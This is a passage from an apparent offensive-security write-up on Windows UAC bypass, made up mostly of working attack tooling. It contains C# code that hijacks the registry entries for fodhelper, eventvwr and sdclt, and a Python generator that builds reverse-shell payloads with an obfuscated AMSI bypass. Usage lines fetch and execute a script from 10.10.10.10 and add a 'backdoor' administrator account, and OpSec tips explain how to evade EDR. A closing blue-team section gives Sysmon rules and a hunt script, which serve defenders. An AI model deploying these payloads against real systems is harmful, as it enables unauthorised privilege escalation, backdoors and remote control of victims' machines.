 79                FileName        = Path.Combine(Environment.GetEnvironmentVariable("WINDIR"),
 80                                               "System32", "fodhelper.exe"),
 81                WindowStyle     = ProcessWindowStyle.Hidden,
 82                UseShellExecute = false
 83            });
 84            Thread.Sleep(3000);
 85            return true;
 86        } finally {
 87            DeleteRegKey(@"Software\Classes\ms-settings");
 88        }
 89    }
 90
 91    static bool BypassEventvwr(string cmd) {
 92        const string regKey = @"Software\Classes\mscfile\shell\open\command";
 93        try {
 94            SetRegValue(regKey, "", cmd);
 95            Thread.Sleep(200);
 96            Process.Start(new ProcessStartInfo {
 97                FileName        = Path.Combine(Environment.GetEnvironmentVariable("WINDIR"),
 98                                               "System32", "eventvwr.exe"),
 99                WindowStyle     = ProcessWindowStyle.Hidden,
100                UseShellExecute = false
101            });
102            Thread.Sleep(3000);
103            return true;
104        } finally {
105            DeleteRegKey(@"Software\Classes\mscfile");
106        }
107    }
108
109    static bool BypassSdclt(string payload) {
110        const string regKey = @"Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe";
111        try {
112            SetRegValue(regKey, "", payload);
113            Thread.Sleep(200);
114            Process.Start(new ProcessStartInfo {
115                FileName        = Path.Combine(Environment.GetEnvironmentVariable("WINDIR"),
116                                               "System32", "sdclt.exe"),
117                Arguments       = "/kickoffelev",
118                WindowStyle     = ProcessWindowStyle.Hidden,
119                UseShellExecute = false
120            });
121            Thread.Sleep(3000);
122            return true;
123        } finally {
124            DeleteRegKey(@"Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe");
125        }
126    }
127
128    // ── bypass catalogue ──────────────────────────────────────────────────
129    class BypassEntry {
130        public string   Name;
131        public string   Binary;
132        public string   Notes;
133        public Func<string, bool> Execute;
134        public bool     NeedsFilesystem; // true = cmd must be a file path
135    }
136
137    static List<BypassEntry> BuildCatalogue(string cmd) => new() {
138        new BypassEntry {
139            Name            = "fodhelper",
140            Binary          = "fodhelper.exe",
141            Notes           = "ms-settings HKCU registry hijack — most reliable",
142            Execute         = c => BypassFodhelper(c),
143            NeedsFilesystem = false
144        },
145        new BypassEntry {
146            Name            = "eventvwr",
147            Binary          = "eventvwr.exe",
148            Notes           = "mscfile HKCU registry hijack",
149            Execute         = c => BypassEventvwr(c),
150            NeedsFilesystem = false
151        },
152        new BypassEntry {
153            Name            = "sdclt",
154            Binary          = "sdclt.exe /kickoffelev",
155            Notes           = "App Paths control.exe redirect — requires file path payload",
156            Execute         = c => BypassSdclt(c),
157            NeedsFilesystem = true
158        },
159    };
160
161    // ── main ──────────────────────────────────────────────────────────────
162    static int Main(string[] args) {
163        // parse args
164        string cmd    = "powershell.exe -nop -w hidden -ep bypass";
165        string method = null;
166        bool   list   = false;
167
168        for (int i = 0; i < args.Length; i++) {
169            if (args[i] == "--cmd"    && i+1 < args.Length) cmd    = args[++i];
170            if (args[i] == "--method" && i+1 < args.Length) method = args[++i];
171            if (args[i] == "--list") list = true;
172        }
173
174        int integrity = GetIntegrityLevel();
175        Console.WriteLine($"[*] current integrity: 0x{integrity:X}");
176
177        if (integrity >= HIGH_INTEGRITY) {
178            Console.WriteLine("[+] already High integrity — no bypass needed");
179            return 0;
180        }
181        if (integrity < MEDIUM_INTEGRITY) {
182            Console.Error.WriteLine("[-] below Medium integrity — bypass will fail");
183            return 1;
184        }
185
186        var catalogue = BuildCatalogue(cmd);
187
188        if (list) {
189            Console.WriteLine("\n[*] available bypasses:");
190            foreach (var b in catalogue)
191                Console.WriteLine($"    {b.Name,-15} {b.Binary,-30} {b.Notes}");
192            return 0;
193        }
194
195        // filter to requested method or try all
196        var targets = method != null
197            ? catalogue.FindAll(b => b.Name.Equals(method, StringComparison.OrdinalIgnoreCase))
198            : catalogue;
199
200        if (targets.Count == 0) {
201            Console.Error.WriteLine($"[-] unknown method: {method}");
202            return 1;
203        }
204
205        Console.WriteLine($"[*] command: {cmd}");
206
207        foreach (var bypass in targets) {
208            Console.WriteLine($"\n[*] trying: {bypass.Name} ({bypass.Binary})");
209            try {
210                bool ok = bypass.Execute(cmd);
211                if (ok) {
212                    Console.WriteLine($"[+] {bypass.Name} executed — check your listener");
213                    return 0;
214                }
215            } catch (Exception ex) {
216                Console.Error.WriteLine($"    [-] {bypass.Name} failed: {ex.Message}");
217            }
218        }
219
220        Console.Error.WriteLine("\n[-] all bypass methods failed");
221        return 1;
222    }
223}
 1:: compile
 2csc.exe /out:UACBypass.exe UACBypass.cs
 3
 4:: list available bypasses
 5UACBypass.exe --list
 6
 7:: auto-select bypass, default powershell command
 8UACBypass.exe
 9
10:: custom command
11UACBypass.exe --cmd "powershell -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
12
13:: force specific bypass
14UACBypass.exe --method eventvwr --cmd "cmd /c net user backdoor P@ss123! /add && net localgroup Administrators backdoor /add"

Python Payload Generator

Generates ready-to-paste PowerShell bypass commands for each technique, with optional AMSI bypass prepended.

  1#!/usr/bin/env python3
  2# uac_bypass_gen.py
  3# Generates UAC bypass payloads combining a bypass technique
  4# with optional AMSI bypass and a reverse shell.
  5#
  6# Usage:
  7#   python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444
  8#   python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --technique eventvwr
  9#   python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --amsi --b64
 10
 11import argparse
 12import base64
 13import random
 14import string
 15
 16def rand_var(n=8):
 17    return '$' + ''.join(random.choices(string.ascii_lowercase, k=n))
 18
 19def make_revshell(lhost, port):
 20    return (
 21        f"$c=New-Object Net.Sockets.TCPClient('{lhost}',{port});"
 22        f"$s=$c.GetStream();"
 23        f"[byte[]]$b=0..65535|%{{0}};"
 24        f"while(($i=$s.Read($b,0,$b.Length))-ne 0){{"
 25        f"$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);"
 26        f"$r=(iex $d 2>&1|Out-String);"
 27        f"$rb=[Text.Encoding]::ASCII.GetBytes($r+'PS '+(gl).Path+'> ');"
 28        f"$s.Write($rb,0,$rb.Length);$s.Flush()}}"
 29    )
 30
 31def make_amsi_bypass():
 32    v1, v2, v3 = rand_var(), rand_var(), rand_var()
 33    return (
 34        f"{v1}='System.Management.Automation.'+'AmsiUtils';"
 35        f"{v2}=[Ref].Assembly.GetType({v1});"
 36        f"{v3}={v2}.GetField('amsi'+'Context','NonPublic,Static');"
 37        f"{v3}.SetValue($null,[IntPtr]::Zero);"
 38    )
 39
 40def encode_cmd(ps_code):
 41    encoded = base64.b64encode(ps_code.encode('utf-16-le')).decode()
 42    return f"powershell -nop -w hidden -ep bypass -EncodedCommand {encoded}"
 43
 44def make_fodhelper(cmd, b64=False):
 45    inner = encode_cmd(cmd) if b64 else f"powershell -nop -w hidden -ep bypass -c \"{cmd}\""
 46    reg   = r"HKCU:\Software\Classes\ms-settings\Shell\Open\command"
 47    return (
 48        f"$p='{reg}';"
 49        f"New-Item $p -Force|Out-Null;"
 50        f"Set-ItemProperty $p '(Default)' '{inner}';"
 51        f"New-ItemProperty $p 'DelegateExecute' -Value '' -Force|Out-Null;"
 52        f"Start-Process $env:WINDIR\\System32\\fodhelper.exe -WindowStyle Hidden;"
 53        f"Start-Sleep 3;"
 54        f"Remove-Item 'HKCU:\\Software\\Classes\\ms-settings' -Recurse -Force -EA 0"
 55    )
 56
 57def make_eventvwr(cmd, b64=False):
 58    inner = encode_cmd(cmd) if b64 else f"powershell -nop -w hidden -ep bypass -c \"{cmd}\""
 59    reg   = r"HKCU:\Software\Classes\mscfile\shell\open\command"
 60    return (
 61        f"$p='{reg}';"
 62        f"New-Item $p -Force|Out-Null;"
 63        f"Set-ItemProperty $p '(Default)' '{inner}';"
 64        f"Start-Process $env:WINDIR\\System32\\eventvwr.exe -WindowStyle Hidden;"
 65        f"Start-Sleep 3;"
 66        f"Remove-Item 'HKCU:\\Software\\Classes\\mscfile' -Recurse -Force -EA 0"
 67    )
 68
 69def make_sdclt(payload_path):
 70    reg = r"HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
 71    return (
 72        f"$p='{reg}';"
 73        f"New-Item $p -Force|Out-Null;"
 74        f"Set-ItemProperty $p '(Default)' '{payload_path}';"
 75        f"Start-Process $env:WINDIR\\System32\\sdclt.exe -ArgumentList '/kickoffelev' -WindowStyle Hidden;"
 76        f"Start-Sleep 3;"
 77        f"Remove-Item $p -Force -EA 0"
 78    )
 79
 80TECHNIQUES = {
 81    'fodhelper': make_fodhelper,
 82    'eventvwr':  make_eventvwr,
 83}
 84
 85def main():
 86    p = argparse.ArgumentParser(description="UAC bypass payload generator")
 87    p.add_argument('--lhost',      required=True)
 88    p.add_argument('--lport',      default=4444, type=int)
 89    p.add_argument('--technique',  choices=list(TECHNIQUES.keys()) + ['sdclt', 'all'],
 90                   default='all')
 91    p.add_argument('--amsi',       action='store_true', help='prepend AMSI bypass')
 92    p.add_argument('--b64',        action='store_true', help='base64-encode inner command')
 93    p.add_argument('--sdclt-path', default=r'C:\Windows\Tasks\payload.exe',
 94                   help='payload path for sdclt technique')
 95    args = p.parse_args()
 96
 97    shell     = make_revshell(args.lhost, args.lport)
 98    amsi      = make_amsi_bypass() if args.amsi else ''
 99    inner_cmd = amsi + shell
100
101    targets = list(TECHNIQUES.keys()) if args.technique == 'all' else [args.technique]
102    if args.technique in ('all', 'sdclt'):
103        targets.append('sdclt')
104
105    for t in targets:
106        print(f"\n{'='*70}")
107        print(f"# technique: {t}")
108        print('='*70)
109
110        if t == 'sdclt':
111            payload = make_sdclt(args.sdclt_path)
112        else:
113            payload = TECHNIQUES[t](inner_cmd, args.b64)
114
115        print(payload)
116
117        # also print as a one-liner wrapped in powershell -c
118        full = f"powershell -nop -w hidden -ep bypass -c \"{payload}\""
119        enc  = base64.b64encode(
120            (f"powershell -nop -ep bypass -c \"{payload}\"").encode('utf-16-le')
121        ).decode()
122        print(f"\n# encoded one-liner:")
123        print(f"powershell -nop -w hidden -ep bypass -EncodedCommand {enc}")
124
125if __name__ == '__main__':
126    main()
# generate all techniques with AMSI bypass, base64-encoded
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --amsi --b64 --technique all

# fodhelper only
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --technique fodhelper

# sdclt with custom payload path
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --technique sdclt \
    --sdclt-path "C:\Windows\Tasks\svcupdate.exe"

Full Engagement Workflow

1.  Check integrity level
    whoami /groups | findstr Mandatory
    → must be "Medium Mandatory Level" to proceed

2.  Apply AMSI bypass (see AMSI blog)
    → prevents bypass payload from being blocked before execution

3.  Enumerate available bypass paths
    .\Find-UACRegistryGaps.ps1

4.  Select technique based on target OS / patch level:
    Win10 pre-2019:  fodhelper or eventvwr (most reliable)
    Win10 post-2019: sdclt or SilentCleanup (if patched)
    Win11:           CMLuaUtil COM or SilentCleanup DLL

5.  Generate payload
    python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --amsi --b64

6.  Execute and catch shell
    nc -lvnp 4444

7.  Verify elevation on new shell
    whoami /groups | findstr "High Mandatory"

8.  Proceed with post-exploitation from High integrity

Technique Comparison

techniquetarget binaryOS coveragenoisepatches needed
fodhelperfodhelper.exeWin10/11mediumms-settings HKCU
eventvwreventvwr.exeWin7-11mediummscfile HKCU
sdcltsdclt.exeWin10mediumApp Paths HKCU
SilentCleanupDismHost.exeWin10/11lowPATH + DLL drop
ICMLuaUtil COMcmluautil.dllWin7-11lownone — pure COM
IFileOperationshell32.dllWin7-11lownone — file copy

OpSec Notes

  • Registry artifacts — all HKCU-based bypasses leave keys that EDR and Sysmon will catch on EID 13 (RegistryValueSet). Always clean up immediately after the bypass triggers — the scripts above do this automatically.
  • Process ancestry — High-integrity shells spawned from fodhelper or eventvwr will have those binaries as parent processes. fodhelper.exe → powershell.exe is a well-known detection pattern. Prefer spawning a sacrificial process and injecting rather than running your C2 directly as a child.
  • CMLuaUtil is the quietest option: no HKCU registry writes, no suspicious process parents. The COM invocation can still be caught by ETW.
  • SilentCleanup runs on a schedule. You can pre-plant the DLL and wait for the next scheduled run rather than triggering it yourself, which avoids the suspicious Start-ScheduledTask call.
  • Windows 11 22H2+ has patched fodhelper and eventvwr. Always verify the OS build before selecting a technique.

Detection (Blue Team)

signalevent
HKCU ms-settings\Shell\Open\command createdSysmon EID 13 — RegistryValueSet
HKCU mscfile\shell\open\command createdSysmon EID 13 — RegistryValueSet
fodhelper.exe spawning shellsSysmon EID 1 — ParentImage
eventvwr.exe spawning shellsSysmon EID 1 — ParentImage
sdclt.exe /kickoffelev in command lineSysmon EID 1 — CommandLine
High-integrity process with suspicious parentSysmon EID 1 — IntegrityLevel + ParentImage
SilentCleanup task triggered manuallyWindows Task Scheduler EID 200
Unsigned DLL loaded by DismHost.exeSysmon EID 7 — ImageLoad

Sysmon detection rules:

 1<!-- UAC bypass registry key creation -->
 2<RegistryEvent onmatch="include">
 3  <TargetObject condition="contains">ms-settings\Shell\Open\command</TargetObject>
 4  <TargetObject condition="contains">mscfile\shell\open\command</TargetObject>
 5  <TargetObject condition="contains">App Paths\control.exe</TargetObject>
 6</RegistryEvent>
 7
 8<!-- Auto-elevated binaries spawning children -->
 9<ProcessCreate onmatch="include">
10  <ParentImage condition="is">C:\Windows\System32\fodhelper.exe</ParentImage>
11  <ParentImage condition="is">C:\Windows\System32\eventvwr.exe</ParentImage>
12  <ParentImage condition="is">C:\Windows\System32\sdclt.exe</ParentImage>
13</ProcessCreate>

PowerShell hunt query — find UAC bypass registry artifacts:

 1# Hunt-UACBypassKeys.ps1
 2$suspiciousKeys = @(
 3    "HKCU:\Software\Classes\ms-settings",
 4    "HKCU:\Software\Classes\mscfile",
 5    "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
 6)
 7
 8foreach ($key in $suspiciousKeys) {
 9    if (Test-Path $key) {
10        Write-Host "[!] SUSPICIOUS KEY FOUND: $key" -ForegroundColor Red
11        Get-ItemProperty $key -ErrorAction SilentlyContinue |
12            Format-List | Out-Host
13    }
14}
15
16# also query Sysmon EID 13 for recent registry writes to these paths
17Get-WinEvent -FilterHashtable @{
18    LogName = "Microsoft-Windows-Sysmon/Operational"; Id = 13
19} -MaxEvents 500 -ErrorAction SilentlyContinue |
20Where-Object { $_.Message -match "ms-settings|mscfile|App Paths\\control" } |
21Select-Object TimeCreated, Message | Format-List

Mitigation:

# Set UAC to "Always notify" — makes auto-elevation require explicit prompt
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
    -Name "ConsentPromptBehaviorAdmin" -Value 2 -Type DWord

# Disable auto-elevation entirely (breaks some legitimate apps)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
    -Name "EnableLUA" -Value 1 -Type DWord

MITRE ATT&CK

techniqueIDdescription
Bypass User Account ControlT1548.002All registry hijack techniques
Abuse Elevation Control MechanismT1548Parent technique
Hijack Execution FlowT1574SilentCleanup DLL hijack
Modify RegistryT1112HKCU key manipulation
Defense EvasionTA0005Primary tactic
Privilege EscalationTA0004Primary tactic

References